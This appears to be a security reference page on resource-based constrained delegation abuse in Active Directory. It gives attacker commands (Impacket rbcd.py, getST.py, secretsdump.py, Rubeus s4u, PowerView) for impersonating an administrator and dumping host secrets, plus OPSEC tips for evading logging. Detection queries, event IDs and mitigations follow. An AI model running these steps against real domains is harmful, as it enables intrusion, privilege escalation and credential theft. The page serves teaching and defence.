How it works
Kerberos delegation lets a front-end service act as a user toward a back-end service. In classic constrained delegation the front end carries the configuration (msDS-AllowedToDelegateTo), and only an administrator with SeEnableDelegationPrivilege can set it. Resource-based constrained delegation (RBCD), added in Windows Server 2012, reverses the direction: the back-end resource lists who may delegate to it, in its own msDS-AllowedToActOnBehalfOfOtherIdentity attribute.
That attribute is an ordinary directory attribute, so the right to change it comes from the object's access control list, not from a domain-wide privilege. Computer objects are often writable by helpdesk groups, backup and virtualization products, application owners, and the account that joined the machine to the domain. Each of those write relationships is a delegation grant waiting to be used.
The attribute holds a security descriptor. Each allow ACE in its DACL names a principal that the KDC will accept as a front end for this resource. The abuse has three parts:
- Write the descriptor. The attacker adds the SID of an account they control to the target's
msDS-AllowedToActOnBehalfOfOtherIdentity. - S4U2Self. The controlled account asks the KDC for a service ticket to itself in the name of a user it chooses, for example
administrator. The user never authenticates. Without the protocol transition flag the ticket is not forwardable, which would stop classic constrained delegation. - S4U2Proxy. The controlled account presents that ticket as evidence and asks for a ticket to a service on the target. The request sets the resource-based delegation bit, so the KDC checks the target's descriptor. Microsoft's specification lets the KDC accept a non-forwardable S4U2Self ticket here as long as the impersonated user is not marked
NOT_DELEGATED, and Microsoft's overview states that the KDC always allows protocol transition for RBCD.
The result is a valid service ticket for the chosen user to the target. Because a service ticket is encrypted with the key of the account that runs the service, the service class in it can be rewritten (cifs to host, http, wsman, ldap) for any service that the same computer account hosts.
Why the attacker needs an account with an SPN
S4U2Self asks for a ticket to the requesting account, so the KDC must be able to resolve that account as a service. A computer account has HOST/ SPNs from creation; a plain user does not, and the request fails with KDC_ERR_S_PRINCIPAL_UNKNOWN. That is why the standard chain creates a computer account. By default ms-DS-MachineAccountQuota lets any authenticated user create ten of them.
Variants
- Computer created through the machine account quota. The default path, covered in the steps below.
- Existing controlled SPN account. A compromised computer account or a service account with an SPN replaces the new computer, and no account creation event is written.
- Existing entry or group trustee. If the descriptor already names a principal the attacker controls, or a group the attacker can join, no write is needed at all.
- SPN-less. A user account without an SPN can run S4U2Self combined with user-to-user authentication (
getST.py -self -u2u), after which the account's NT hash is replaced with the TGT session key so that the KDC can decrypt the evidence ticket. It depends on RC4 being accepted and it breaks the account until its password is reset. - Cross-domain. The front end and the target can be in different domains of one forest; the client follows referrals between the two KDCs. Rubeus exposes
/targetdomainand/targetdcfor this. Across forests the impersonated user generally has to belong to the front end's forest, so the path is much narrower. - Relay-created. The same attribute write is the usual payload of an NTLM relay to LDAP, where the relayed computer account writes its own object.
RBCD sits next to constrained delegation abuse and unconstrained delegation abuse, but it is the only one of the three that a non-administrator can configure.
Prerequisites
- A write path to the attribute on the target computer. Any of:
GenericAll,GenericWrite,WritePropertyonmsDS-AllowedToActOnBehalfOfOtherIdentity(schema GUID3f78c3e5-f79a-46bd-a0b8-9d18116ddc79),WritePropertyon theUser-Account-Restrictionsproperty set (4c164200-20c0-11d0-a768-00aa006e0529, the WriteAccountRestrictions right),WriteDacl,WriteOwner, or ownership of the object. - A controlled account that has an SPN. A computer account created through
ms-DS-MachineAccountQuota(default 10, usable by Authenticated Users through the "Add workstations to domain" right), a computer account already compromised, or a service account. - A delegable user worth impersonating. The user must not have "Account is sensitive and cannot be delegated" set and must not be in Protected Users. It should hold rights on the target, typically local administrator.
- A domain controller running Windows Server 2012 or later, and network access to Kerberos (88) and LDAP (389 or 636).
Any domain user can read the quota and find existing RBCD entries:
Get-ADObject (Get-ADDomain).DistinguishedName -Properties ms-DS-MachineAccountQuota |
Select-Object DistinguishedName, ms-DS-MachineAccountQuota
Get-ADComputer -LDAPFilter '(msDS-AllowedToActOnBehalfOfOtherIdentity=*)' `
-Properties msDS-AllowedToActOnBehalfOfOtherIdentity, PrincipalsAllowedToDelegateToAccount |
Select-Object Name, PrincipalsAllowedToDelegateToAccount
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
The example gives alice a write right on the computer SRV01 and impersonates administrator to it.
1. Create a controlled computer account
On Windows with Powermad:
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount FAKE01 `
-Password $(ConvertTo-SecureString '<password>' -AsPlainText -Force) -Verbose
On Linux with Impacket. The LDAPS method sets dNSHostName and the default HOST SPNs at creation; the default SAMR method creates the account without them:
addcomputer.py -computer-name 'FAKE01$' -computer-pass '<password>' \
-method LDAPS -dc-host DC01.corp.example.com -dc-ip 192.0.2.10 \
'corp.example.com/alice:<password>'
Skip this step when a computer or service account with an SPN is already under control.
2. Write the delegation descriptor on the target
Impacket rbcd.py reads the current descriptor, appends an ACE for the controlled account and writes the value back, so existing entries survive. -delegate-from is the account that will impersonate; -delegate-to is the target:
rbcd.py -action write -delegate-from 'FAKE01$' -delegate-to 'SRV01$' \
-dc-ip 192.0.2.10 'corp.example.com/alice:<password>'
Add -use-ldaps where the domain controller requires LDAP signing or channel binding. bloodyAD also appends:
bloodyAD --host DC01.corp.example.com -d corp.example.com -u alice -p '<password>' \
add rbcd 'SRV01$' 'FAKE01$'
On Windows, the ActiveDirectory module writes the whole list, which replaces any entry that was already there:
Set-ADComputer -Identity 'SRV01' -PrincipalsAllowedToDelegateToAccount (Get-ADComputer 'FAKE01')
PowerView can assign a raw descriptor, which is also a replacement:
$ComputerSid = (Get-DomainComputer FAKE01 -Properties objectsid).objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer SRV01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
The attribute is single-valued, so every tool reads, modifies and rewrites the whole descriptor. A replacement write on a server that had a legitimate entry breaks the application that relied on it, which is both an outage and a loud signal.
3. Request the impersonation ticket
With Rubeus, derive the account's keys and run both S4U stages in one command:
.\Rubeus.exe hash /user:'FAKE01$' /domain:corp.example.com /password:'<password>'
.\Rubeus.exe s4u `
/user:'FAKE01$' /aes256:<aes256-key> /domain:corp.example.com `
/impersonateuser:administrator `
/msdsspn:cifs/SRV01.corp.example.com `
/altservice:cifs,host,http,wsman,ldap `
/ptt /nowrap
With Impacket:
getST.py -spn 'cifs/SRV01.corp.example.com' -impersonate administrator \
-dc-ip 192.0.2.10 'corp.example.com/FAKE01$:<password>'
getST.py performs S4U2Self and then S4U2Proxy and saves a credential cache named after the impersonated user and the service. A KDC_ERR_BADOPTION at the second stage means the descriptor does not name the controlled account, or the impersonated user is not delegable.
4. Use the ticket
klist
dir \\SRV01.corp.example.com\C$
export KRB5CCNAME=$PWD/administrator@cifs_SRV01.corp.example.com@CORP.EXAMPLE.COM.ccache
wmiexec.py -k -no-pass 'corp.example.com/administrator@SRV01.corp.example.com' 'whoami /all'
secretsdump.py -k -no-pass 'corp.example.com/administrator@SRV01.corp.example.com'
SPN-less variant
For a controlled user account without an SPN, the S4U2Self request is made with user-to-user against the account's own TGT:
getST.py -dc-ip 192.0.2.10 -k -no-pass -self -u2u \
-impersonate administrator 'corp.example.com/svc-sql'
The remaining steps replace the account's NT hash with the session key of that TGT and present the resulting ticket to S4U2Proxy with -additional-ticket. The account stops working for its real owner until the password is reset.
Impact
The attacker authenticates to the target computer as a user of their choice. When that user is a local administrator, the attacker runs code as SYSTEM on the host, reads its local secrets (SAM, LSA secrets, cached credentials, the machine account key) and moves on with whatever is found there. This is privilege escalation and lateral movement in one step.
The ticket is scoped to services that the target computer account runs. It does not work against another host. The scope still decides the severity: on a domain controller, an ldap ticket for a Domain Admin is enough to replicate the directory (DCSync); on a certification authority, an Entra Connect server or a virtualization host it is close to the same outcome.
The entry is also persistence. It stays in the directory until someone removes it, it survives password changes of every account involved, and the controlled computer account can repeat the S4U chain at any time.
OPSEC and artifacts
- Reusing an existing account. An operator who already controls a computer or service account with an SPN skips the creation step, so there is no event 4741. A new account created through the quota always carries the creator's SID in
mS-DS-CreatorSID, which survives for attribution. - Appending, not replacing. Tools with append semantics keep legitimate entries working. Either way the write produces event 5136 for
msDS-AllowedToActOnBehalfOfOtherIdentitywhen Directory Service Changes auditing and a SACL cover the object, usually as a "Value Deleted" and "Value Added" pair, and event 4662 with access mask0x20and the attribute GUID when object access auditing is on. The descriptor's shape also identifies the tool:rbcd.pywrites a full-control ACE with ownerBUILTIN\Administrators, bloodyAD writes a control-access ACE. - One clean S4U chain. Each failed S4U2Proxy writes its own failure event with status
0xD, so careful operators check the descriptor and the target user's delegation flags first. The successful chain still leaves event 4768 for the controlled account and two 4769 events: one where the account and the service are the same controlled account (S4U2Self) and one for the target service, often withTransmittedServicesfilled in (S4U2Proxy). - AES instead of RC4. Requesting tickets with the account's AES256 key avoids the RC4 anomaly that many rules look for.
- Quiet use of the ticket. Listing a share is quieter than creating a service. The target still records event 4624 with logon type 3 for the impersonated user from the operator's address, 4672 if that user is privileged, and 5140 or 5145 for share access.
- Removing the entry afterward. Cleanup writes a second 5136. If the operator leaves the entry and the computer account in place, both remain as directory evidence.
- Client-side files.
.kirbiand.ccachefiles, base64 tickets in shell history, and process telemetry for Rubeus on Windows hosts.
Detection
Legitimate RBCD administration and abuse produce the same directory event, so detection depends on who wrote the value, on which object, and what happened around it.
- The attribute write. Event 5136 for
msDS-AllowedToActOnBehalfOfOtherIdentity, especially on a domain controller, a CA server,AZUREADSSOACC$, a cluster object or a virtualization host, or by a principal that is not a Tier 0 administrator. The RBCD configured detection rules cover this write. - Computer account created by a standard user. Event 4741 where the creator is not a join account, followed within the hour by the RBCD write on another object by the same principal. See the machine account creation rules.
- The S4U pair. A 4769 where a computer account requests a ticket to itself, followed from the same client address by a 4769 for a service on a sensitive host. Field population varies by Windows version, so baseline these shapes before alerting on them.
- Repeated
0xDfailures on 4769 from one account: a hunting lead for delegation attempts that the KDC refused. - Network logon by a privileged user (4624 type 3) on a server from a workstation that does not administer it, close in time to the S4U pair.
// RBCD attribute written on any computer object
SecurityEvent
| where EventID == 5136
| where EventData has "msDS-AllowedToActOnBehalfOfOtherIdentity"
| project TimeGenerated, Computer, Account, EventData
| order by TimeGenerated desc
Event 5136 is only written when the object's SACL audits the write. Add an audit entry for writes to this attribute on computer objects, at least for Tier 0 systems. An inventory finds what auditing missed: every non-empty value should have an owner, and a trustee SID that no longer resolves is a stale entry.
Mitigation
- Remove the write paths. Review who holds
GenericAll,GenericWrite,WriteDacl,WriteOwner, ownership, orWritePropertyon the attribute or on theUser-Account-Restrictionsproperty set of computer objects. Helpdesk groups on workstation OUs, backup and virtualization products, and stale entries for old tools are the usual findings. Have computers joined by a dedicated account so that ordinary users do not own computer objects. - Close the supply of computer accounts. Set
ms-DS-MachineAccountQuotato 0, restrict the "Add workstations to domain" right, and delegate computer creation to a named group on one OU. The MachineAccountQuota guide has the steps. This removes the easy front end; it does not remove an existing entry or a write right. - Make privileged accounts non-delegable. Set "Account is sensitive and cannot be delegated" on Tier 0 accounts and add privileged human accounts to Protected Users, following the Protected Users guide. The KDC then refuses to issue S4U tickets for them.
- Close the relay paths that create the write. Require LDAP signing and channel binding on domain controllers, as described in the LDAP signing and channel binding guide, and reduce coercion and NTLM where possible.
- Inventory and change control. List every non-empty
msDS-AllowedToActOnBehalfOfOtherIdentityvalue with its trustee and business purpose, and review it alongside the other delegation types. On domain controllers and CA servers the attribute should normally be empty. - Audit. Enable Directory Service Changes, Computer Account Management, Kerberos Service Ticket Operations and Kerberos Authentication Service on domain controllers, and set the SACL that makes the attribute write visible.
- After an incident, remove only the suspect ACE, verify that legitimate entries remain, and then deal with the controlled account. Tickets that were already issued stay valid until they expire, so treat a host that a privileged user was impersonated to as compromised.
Detection rules for this attack
Log events to collect
FAQ
What permissions does an RBCD attack need?
Write access to the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the target computer object. GenericAll, GenericWrite, WriteProperty on the attribute or on the User-Account-Restrictions property set, WriteDacl and WriteOwner all reach it. The attacker also needs an account that the KDC can treat as a service, which is usually a computer account created through the machine account quota.
Does setting ms-DS-MachineAccountQuota to 0 stop RBCD abuse?
It removes the easiest way to get a controlled account with an SPN, but not the attack. An attacker who already controls a computer account or a service account with an SPN can use that instead, and a variant that combines S4U2Self with user-to-user authentication works without an SPN where RC4 is still accepted. The write right on the target is what has to go.
Can RBCD be used to impersonate a Domain Admin?
Yes, unless the account is marked sensitive and cannot be delegated, or is a member of Protected Users. The KDC accepts a non-forwardable S4U2Self ticket for any user without that flag. The ticket is only valid for services run by the target computer account, so the result is that user's rights on that one host.
How is RBCD abuse detected?
The write to msDS-AllowedToActOnBehalfOfOtherIdentity produces event 5136 on a domain controller when directory change auditing and a SACL are in place. Strong patterns are a computer account created by a standard user (4741) followed by that write, and service ticket requests (4769) where a computer account asks for a ticket to itself for a privileged user and then for a service on the target.
References
- Kerberos constrained delegation overview (Microsoft Learn)
- [MS-SFU]: Kerberos Protocol Extensions: Service for User and Constrained Delegation Protocol
- [MS-ADA2]: Attribute msDS-AllowedToActOnBehalfOfOtherIdentity
- Default limit to the number of workstations a user can join to the domain (Microsoft Learn)
- Account Manipulation, T1098 (MITRE ATT&CK)
- Use Alternate Authentication Material, T1550 (MITRE ATT&CK)
- Impacket rbcd.py
- Rubeus: s4u (GhostPack)
- Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory (Elad Shamir)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.